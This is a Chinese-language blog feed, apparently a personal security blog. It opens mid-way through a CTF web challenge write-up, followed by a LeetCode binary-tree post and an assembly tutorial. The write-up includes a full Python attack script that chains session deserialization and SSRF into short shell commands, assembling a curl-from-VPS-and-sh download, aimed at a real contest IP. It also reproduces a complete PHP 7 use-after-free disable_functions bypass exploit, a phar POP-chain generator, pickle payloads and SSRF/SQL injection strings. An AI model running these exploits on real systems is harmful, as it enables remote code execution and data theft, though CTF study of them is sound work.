#error_reporting(0);
//lib.php包括一些常见的函数
include &apos;../lib.php&apos;;
session_save_path(&apos;../session&apos;);
ini_set(&apos;session.serialize_handler&apos;, &apos;php&apos;);
session_start();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用了两种不同的session处理方式&lt;/p&gt;
&lt;p&gt;所以提交一个签名为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;|O:4:&quot;info&quot;:1:{s:5:&quot;admin&quot;;i:1;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样再访问 &lt;code&gt;profile.php&lt;/code&gt; 的时候&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
session_save_path(&apos;session&apos;);
include &apos;lib.php&apos;;
ini_set(&apos;session.serialize_handler&apos;, &apos;php&apos;);
session_start();

class info
{
    public $admin;
    public $sign;

    public function __construct()
    {
        $this-&amp;gt;admin = $_SESSION[&apos;admin&apos;];
        $this-&amp;gt;sign = $_SESSION[&apos;sign&apos;];

    }

    public function __destruct()
    {
        echo $this-&amp;gt;sign;
        if ($this-&amp;gt;admin === 1) {
            redirect(&apos;./core/index.php&apos;);
        }
    }
}

$a = new info();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就会触发反序列化，然后进入 &lt;code&gt;core/index.php&lt;/code&gt; 中&lt;/p&gt;
&lt;p&gt;&lt;code&gt;core/index.php&lt;/code&gt; 的源代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

require_once(&apos;./init.php&apos;);
error_reporting(0);
if (check_session($_SESSION)) {
    #hint : core/clear.php
    $sandbox = &apos;./sandbox/&apos; . md5(&quot;Mrk@1xI^&quot; . $_SERVER[&apos;REMOTE_ADDR&apos;]);
    echo $sandbox;
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_POST[&apos;url&apos;])) {
        $url = $_POST[&apos;url&apos;];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match(&apos;/(data:\/\/)|(&amp;amp;)|(\|)|(\.\/)/i&apos;, $url)) {
                echo &quot;you are hacker&quot;;
            } else {
                $res = parse_url($url);
                if (preg_match(&apos;/127\.0\.0\.1$/&apos;, $res[&apos;host&apos;])) {
                    $code = file_get_contents($url);
                    if (strlen($code) &amp;lt;= 4) {
                        @exec($code);
                    } else {
                        echo &quot;try again&quot;;
                    }
                }
            }
        } else {
            echo &quot;invalid url&quot;;
        }
    } else {
        highlight_file(__FILE__);
    }
} else {
    die(&apos;只有管理员才能看到我哟&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不准用 &lt;code&gt;data&lt;/code&gt; 协议，并且解析到的host必须是 &lt;code&gt;127.0.0.1&lt;/code&gt; 初看还挺像2019年的byteCTF，但是这里用到的是 &lt;code&gt;compress.zlib&lt;/code&gt; 协议(学习了)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;compress.zlib://data:@127.0.0.1/baidu.com?,ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然也可以用base64的方式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;compress.zlib://data:@127.0.0.1/plain;base64,
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后需要绕过长度来执行命令，脚本就用队友的好了，不能弹shell，只能从vps上下载shell到靶机上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from time import sleep
from urllib import parse
from requests import session



s = session()
url = &quot;http://121.36.222.22:88/login.php&quot;
s.post(url, data={&apos;name&apos;:&apos;pxypxy&apos;})
url1 = &quot;http://121.36.222.22:88/?page=upload&quot;
s.post(url1, data={&apos;sign&apos;:&apos;woc|O:4:&quot;info&quot;:2:{s:5:&quot;admin&quot;;i:1;s:4:&quot;sign&quot;;s:4:&quot;ssss&quot;;}&apos;})
url3 = &quot;http://121.36.222.22:88/core/index.php&quot;
s.get(url3)

ip = &apos;x.x.x.x&apos;
ip = &apos;0x&apos; + &apos;&apos;.join([str(hex(int(i))[2:].zfill(2))for i in ip.split(&apos;.&apos;)])
pos0 = &apos;y&apos;
pos1 = &apos;d&apos;
pos2 = &apos;s&apos;

payload = [
    &apos;&amp;gt;dir&apos;,
    &apos;&amp;gt;%s\&amp;gt;&apos; % pos0,
    &apos;&amp;gt;%st-&apos; % pos1,
    &apos;&amp;gt;sl&apos;,
    &apos;*&amp;gt;v&apos;,
    &apos;&amp;gt;rev&apos;,
    &apos;*v&amp;gt;%s&apos; % pos2,
    &apos;&amp;gt;p&apos;,
    &apos;&amp;gt;ph\\&apos;,
    &apos;&amp;gt;y.\\&apos;,
    &apos;&amp;gt;\&amp;gt;\\&apos;,
    &apos;&amp;gt;%s\\&apos; % ip[8:10],
    &apos;&amp;gt;%s\\&apos; % ip[6:8],
    &apos;&amp;gt;%s\\&apos; % ip[4:6],
    &apos;&amp;gt;%s\\&apos; % ip[2:4],
    &apos;&amp;gt;%s\\&apos; % ip[0:2],
    &apos;&amp;gt;\ \\&apos;,
    &apos;&amp;gt;rl\\&apos;,
    &apos;&amp;gt;cu\\&apos;,
    &apos;sh &apos; + pos2,
    &apos;sh &apos; + pos0,
]

for i in payload:
    data = {&apos;url&apos;:&apos;compress.zlib://data:@127.0.0.1/plain;base64,&apos;+base64.b64encode(i.encode()).decode()}
    r = s.post(url3, data=data)
    print(r.text)
    print(data[&apos;url&apos;])
    sleep(0.1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;webtmp&lt;/h2&gt;
&lt;p&gt;分析&lt;/p&gt;
&lt;p&gt;考点是pickle反序列化，过滤掉了 R 指令码，并且重写了 &lt;code&gt;find_class&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == &apos;__main__&apos;:
            return getattr(sys.modules[&apos;__main__&apos;], name)
        raise pickle.UnpicklingError(&quot;global &apos;%s.%s&apos; is forbidden&quot; % (module, name))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就禁止引用除了 &lt;code&gt;__main__&lt;/code&gt; 之外的其他module，但是如果通过GLOBAL指令引入的变量，可以看作是原变量的引用。我们在栈上修改它的值，会导致原变量也被修改&lt;/p&gt;
&lt;p&gt;于是可以先引入 &lt;code&gt;__main__.secret&lt;/code&gt; 这个module，然后把一个 dict 压入栈，内容是 &lt;code&gt;{&apos;name&apos;: &apos;xx&apos;, &apos;category&apos;: &apos;yyy&apos;}&lt;/code&gt;,之后执行 build指令，改写 &lt;code&gt;__main__.secret.name&lt;/code&gt; 和 &lt;code&gt;__main__.secret.category&lt;/code&gt;,此时 &lt;code&gt;secret.name&lt;/code&gt;和 &lt;code&gt;secret.category&lt;/code&gt; 已经变成我们想要的内容&lt;/p&gt;
&lt;p&gt;之后再压入一个正常的 Animal对象，name和category分别是 xx和yyy最后构造的pickle数据如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b&quot;\x80\x03c__main__\nsecret\n}(Vname\nVxx\nVcategory\nVyyy\nub0c__main__\nAnimal\n)\x81}(S&apos;name&apos;\nS&apos;xx&apos;\nS&apos;category&apos;\nS&apos;yyy&apos;\nub.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编码为base64提交即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVnh4ClZjYXRlZ29yeQpWeXl5CnViMGNfX21haW5fXwpBbmltYWwKKYF9KFMnbmFtZScKUyd4eCcKUydjYXRlZ29yeScKUyd5eXknCnViLg==
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;php-uaf&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php&quot;&gt;脚本&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rddshell
  
&amp;lt;?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn(&apos;/readflag&apos;);

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this-&amp;gt;a);
            $backtrace = (new Exception)-&amp;gt;getTrace(); # ;)
            if(!isset($backtrace[1][&apos;args&apos;])) { # PHP &amp;gt;= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&amp;amp;$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j &amp;gt;= 0; $j--) {
            $address &amp;lt;&amp;lt;= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = &quot;&quot;;
        for ($i=0; $i &amp;lt; $m; $i++) {
            $out .= chr($ptr &amp;amp; 0xff);
            $ptr &amp;gt;&amp;gt;= 8;
        }
        return $out;
    }

    function write(&amp;amp;$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i &amp;lt; $n; $i++) {
            $str[$p + $i] = chr($v &amp;amp; 0xff);
            $v &amp;gt;&amp;gt;= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper-&amp;gt;a);
        if($s != 8) { $leak %= 2 &amp;lt;&amp;lt; ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i &amp;lt; $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 &amp;amp;&amp;amp; $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 &amp;amp;&amp;amp; $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i &amp;lt; $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base &amp;gt; 0 &amp;amp;&amp;amp; $leak - $base &amp;lt; $data_addr - $base) {
                $deref = leak($leak);
                # &apos;constant&apos; constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base &amp;gt; 0 &amp;amp;&amp;amp; $leak - $base &amp;lt; $data_addr - $base) {
                $deref = leak($leak);
                # &apos;bin2hex&apos; constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak &amp;amp; 0xfffffffffffff000;
        for($i = 0; $i &amp;lt; 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat(&apos;A&apos;, 79));
        $vuln = new Vuln();
        $vuln-&amp;gt;a = $arg;
    }

    if(stristr(PHP_OS, &apos;WIN&apos;)) {
        die(&apos;This PoC is for *nix systems only.&apos;);
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i &amp;lt; $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat(&apos;A&apos;, 79));

    trigger_uaf(&apos;x&apos;);
    $abc = $backtrace[1][&apos;args&apos;][0];

    $helper = new Helper;
    $helper-&amp;gt;b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die(&quot;UAF failed&quot;);
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die(&quot;Couldn&apos;t determine binary base address&quot;);
    }

    if(!($elf = parse_elf($base))) {
        die(&quot;Couldn&apos;t parse ELF header&quot;);
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die(&quot;Couldn&apos;t get basic_functions address&quot;);
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die(&quot;Couldn&apos;t get zif_system address&quot;);
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i &amp;lt; 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper-&amp;gt;b)($cmd);
    exit();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传到tmp目录就行了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583803771844.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;webct&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;www.zip&lt;/code&gt; 源码泄露(现在好多web题都喜欢这么搞了)&lt;/p&gt;
&lt;p&gt;这题主要是对伪造mysql的考察，但是有一个坑点&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583812041964.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以设置&lt;code&gt;option&lt;/code&gt;为8，然后就启用&lt;code&gt;MYSQL_OPT_LOCAL_INFILE&lt;/code&gt;了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583812118883.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后构造一个POP链就行了，POP链不是很长&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class Listfile
{
    public $file;

    function __construct()
    {
        $this-&amp;gt;file = &quot;;/readflag&quot;;
    }
}

class Fileupload
{
    public $file;

    function __construct()
    {
        $this-&amp;gt;file = new Listfile();
    }
}

$payload = new Fileupload();

$exp = new Phar(&apos;yds.phar&apos;);
$exp -&amp;gt; startBuffering();
$exp-&amp;gt;setStub(&apos;&amp;lt;?php __HALT_COMPILER(); ? &amp;gt;&apos;);
$exp -&amp;gt; addFromString(&apos;test.txt&apos;,&apos;test&apos;);
$exp -&amp;gt; setMetadata($payload);
$exp -&amp;gt; stopBuffering();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;fmkq&lt;/h2&gt;
&lt;p&gt;这题估计是很多队伍都比较头疼的了，3月7日那天折腾了一下午直到晚上才有师傅做出来&lt;/p&gt;
&lt;p&gt;源代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
if(isset($_GET[&apos;head&apos;])&amp;amp;&amp;amp;isset($_GET[&apos;url&apos;])){
    $begin = &quot;The number you want: &quot;;
    extract($_GET);
    if($head == &apos;&apos;){
        die(&apos;Where is your head?&apos;);
    }
    if(preg_match(&apos;/[A-Za-z0-9]/i&apos;,$head)){
        die(&apos;Head can\&apos;t be like this!&apos;);
    }
    if(preg_match(&apos;/log/i&apos;,$url)){
        die(&apos;No No No&apos;);
    }
    if(preg_match(&apos;/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i&apos;,$url)){
        die(&apos;Don\&apos;t use strange protocol!&apos;);
    }
    $funcname = $head.&apos;curl_init&apos;;
    $ch = $funcname();
    if($ch){
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
    }
    else{
        $output = &apos;rua&apos;;
    }
    echo sprintf($begin.&apos;%d&apos;,$output);
}
else{
    show_source(__FILE__);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;几个小trick&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$head = \&lt;/code&gt; 这样拼接之后就是根命名空间&lt;/li&gt;
&lt;li&gt;协议基本都被过滤干净了就只能用http协议&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$begin= %s%&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;过滤了 &lt;code&gt;log&lt;/code&gt;，我估计是出题人不想让你去读日志(因为后面发现可以读除了flag之外的任意文件)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;之后就扫内网，看到开放了8080端口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583812423811.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里的坑点就比较多了，首先需要知道vipcode&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?head=\&amp;amp;url=http://127.0.0.1:8080/read/file={file.vip.__dict__}%26vipcode=0&amp;amp;begin=%s%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583812448622.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后读文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?head=\&amp;amp;url=http://127.0.0.1:8080/read/file=/app/base/vip.py%26vipcode=m3O5PGEBMnbX0N8ugWlIoijtFaS9KsqVAQdvZyT1cheCxpwf&amp;amp;begin=%s%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583812465323.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;vip.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Welcome,dear vip! Here are what you want:
The file you read is:
/app/base/vip.py

The content is:



vipcode = &apos;&apos;

class vip:
    def __init__(self):
        global vipcode
        if vipcode == &apos;&apos;:
            vipcode = &apos;&apos;.join(random.sample(string.ascii_letters+string.digits, 48))
            self.truevipcode = vipcode
        else:
            self.truevipcode = vipcode

    def GetCode(self):
        return self.truevipcode

Other files under the same folder:
__pycache__ __init__.py vip.py readfile.py%d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;readfile.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from .vip import vip



class File:
    def __init__(self,file):
        self.file = file

    def __str__(self):
        return self.file

    def GetName(self):
        return self.file

class readfile():

    def __str__(self):
        filename = self.GetFileName()
        if &apos;..&apos; in filename or &apos;proc&apos; in filename:
            return &quot;quanbumuda&quot;
        else:
            try:
                file = open(&quot;/tmp/&quot; + filename, &apos;r&apos;)
                content = file.read()
                file.close()
                return content
            except:
                return &quot;error&quot;

    def __init__(self, data):
        if re.match(r&apos;file=.*?&amp;amp;vipcode=.*?&apos;,data) != None:
            data = data.split(&apos;&amp;amp;&apos;)
            data = {
                data[0].split(&apos;=&apos;)[0]: data[0].split(&apos;=&apos;)[1],
                data[1].split(&apos;=&apos;)[0]: data[1].split(&apos;=&apos;)[1]
            }
            if &apos;file&apos; in data.keys():
                self.file = File(data[&apos;file&apos;])

            if &apos;vipcode&apos; in data.keys():
                self.vipcode = data[&apos;vipcode&apos;]
            self.vip = vip()

    def test(self):
        if &apos;file&apos; not in dir(self) or &apos;vipcode&apos; not in dir(self) or &apos;vip&apos; not in dir(self):
            return False
        else:
            return True

    def isvip(self):
        if self.vipcode == self.vip.GetCode():
            return True
        else:
            return False

    def GetFileName(self):
        return self.file.GetName()

current_folder_file = []

class vipreadfile():
    def __init__(self,readfile):
        self.filename = readfile.GetFileName()
        self.path = os.path.dirname(os.path.abspath(self.filename))
        self.file = File(os.path.basename(os.path.abspath(self.filename)))
        global current_folder_file
        try:
            current_folder_file = os.listdir(self.path)
        except:
            current_folder_file = current_folder_file

    def __str__(self):
        if &apos;fl4g&apos; in self.path:
            return &apos;nonono,this folder is a secret!!!&apos;
        else:
            output = &apos;&apos;&apos;Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n&apos;&apos;&apos;
            filepath = (self.path + &apos;/{vipfile}&apos;).format(vipfile=self.file)
            output += filepath
            output += &apos;\r\n\r\nThe content is:\r\n&apos;
            try:
                f = open(filepath,&apos;r&apos;)
                content = f.read()
                f.close()
            except:
                content = &apos;can\&apos;t read&apos;
            output += content
            output += &apos;\r\n\r\nOther files under the same folder:\r\n&apos;
            output += &apos; &apos;.join(current_folder_file)
            return output
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;过滤掉了 &lt;code&gt;fl4g&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/0-1583812648124.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到 &lt;code&gt;current_folder_file&lt;/code&gt; 是 global 的&lt;/p&gt;
&lt;p&gt;所以读一次根目录的文件，让&lt;code&gt;current_folder_file&lt;/code&gt; 里面有 &lt;code&gt;fl4g&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/0-1583812681289.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?head=\&amp;amp;url=http://localhost:8080/read/file=/{vipfile.__class__.GetName.__globals__[current_folder_file][21]}/flag%26vipcode=m3O5PGEBMnbX0N8ugWlIoijtFaS9KsqVAQdvZyT1cheCxpwf&amp;amp;begin=%s%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://121.37.179.47:1101/?head=\&amp;amp;begin=%1$s&amp;amp;url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[__name__][9]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=kWSRgrZO9VjAJzaHsIwqXEtfF5u6GxM0ov74le18hcNnUpd3
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;sqlcheckin&lt;/h2&gt;
&lt;p&gt;false注入&lt;/p&gt;
&lt;p&gt;&lt;code&gt;username=&apos;%&apos;1&amp;amp;password=&apos;%&apos;1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;即可&lt;/p&gt;
&lt;h2&gt;nweb&lt;/h2&gt;
&lt;h2&gt;happyvacation&lt;/h2&gt;
</content:encoded></item><item><title>每天一道leetcode-二叉树的直径</title><link>https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E9%81%93leetcode-%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E7%9B%B4%E5%BE%84/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E9%81%93leetcode-%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E7%9B%B4%E5%BE%84/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;题目&lt;/h2&gt;
&lt;p&gt;给定一棵二叉树，你需要计算它的直径长度。一棵二叉树的直径长度是任意两个结点路径长度中的最大值。这条路径可能穿过根结点。&lt;/p&gt;
&lt;p&gt;示例 :&lt;br /&gt;
给定二叉树&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    1
   / \
  2   3
 / \     
4   5    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回 3, 它的长度是路径 [4,2,1,3] 或者 [5,2,1,3]。&lt;/p&gt;
&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;找到左子树的节点个数，右子树的节点个数，剩下的就好做了&lt;/p&gt;
&lt;p&gt;我写了的lj代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package March;

/**
 * @description: 二叉树的直径
 * @author: Pxy
 * @create: 2020-03-10 20:02
 **/

/**
 * [4,-7,-3,null,null,-9,-3,9,-7,-4,null,6,null,-6,-6,null,null,0,6,5,null,9,null,null,-1,-4,null,null,null,-2]
 * 上面这个结果过不了
 */
public class diameterOfBinaryTree {
    class TreeNode{
        int val;
        TreeNode left;
        TreeNode right;
        TreeNode(int x){
            val = x;}
    }
    public int diameterOfBinaryTree(TreeNode root) {
        if (root == null) {
            return 0;
        }
        if (root.right == null) {
            return helper(root.left);
        } else if (root.left == null) {
            return helper(root.right);
        } else {
            int leftLength = helper(root.left);
            int rightLength = helper(root.right);
            return leftLength + rightLength;
        }

    }

    public static int helper(TreeNode root) {
        if (root != null) {
            return Math.max(helper(root.left), helper(root.right)) + 1;
        } else {
            return 0;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是leetcode提交的时候给了一个奇葩的测试样例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[4,-7,-3,null,null,-9,-3,9,-7,-4,null,6,null,-6,-6,null,null,0,6,5,null,9,null,null,-1,-4,null,null,null,-2]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这。。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583846422840.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;算了我暂时也看不出哪里有问题&lt;/p&gt;
&lt;h2&gt;官方&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;class Solution {
    int ans;
    public int diameterOfBinaryTree(TreeNode root) {
        ans = 1;
        depth(root);
        return ans - 1;
    }
    public int depth(TreeNode node) {
        if (node == null) return 0; // 访问到空节点了，返回0
        int L = depth(node.left); // 左儿子为根的子树的深度
        int R = depth(node.right); // 右儿子为根的子树的深度
        ans = Math.max(ans, L+R+1); // 计算d_node即L+R+1 并更新ans
        return Math.max(L, R) + 1; // 返回该节点为根的子树的深度
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;思路也是比较简单的，不过这个用法很神奇，&lt;code&gt;depth&lt;/code&gt; 函数有返回值，这个返回值只在递归的时候用到&lt;/p&gt;
&lt;p&gt;java写OJ的时候如果要用全局变量，只需要在外面写一个就行了。&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode-cn.com/problems/diameter-of-binary-tree/solution/liang-chong-si-lu-shi-yong-quan-ju-bian-liang-yu-b/&quot;&gt;https://leetcode-cn.com/problems/diameter-of-binary-tree/solution/liang-chong-si-lu-shi-yong-quan-ju-bian-liang-yu-b/&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>汇编从入门到入土三</title><link>https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E4%B8%89/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E4%B8%89/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;从汇编程序开始&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;assume cs:codesg

codesg segment
	mov ax,0123H
	mov bx,0456H
	add ax,bx
	add ax,ax
	
	mov ax,4c00H
	int 21H
codesg ends
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;伪指令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;段名 segment
段名 ends
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;end&lt;/code&gt; 和 &lt;code&gt;ends&lt;/code&gt; 不一样， end标记整个程序的结束&lt;br /&gt;
&lt;code&gt;assume&lt;/code&gt; 将有特定用途的段和相关的段寄存器关联起来&lt;/p&gt;
&lt;p&gt;程序返回&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov ax,4c00H
int 21H
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编写代码，使用 MASM.exe 编译，然后使用 LINK.exe 进行链接&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847029418.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583847034341.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;运行当然是没有结果的，我们需要使用 &lt;code&gt;debug&lt;/code&gt; 调试&lt;/p&gt;
&lt;h2&gt;可执行文件的加载过程&lt;/h2&gt;
&lt;p&gt;程序加载的时候，找到一个段地址 &lt;code&gt;SA:0000&lt;/code&gt;,程序从 &lt;code&gt;SA+10H:0000&lt;/code&gt; 处开始运行，&lt;code&gt;SA&lt;/code&gt; 存放在 ds寄存器中&lt;/p&gt;
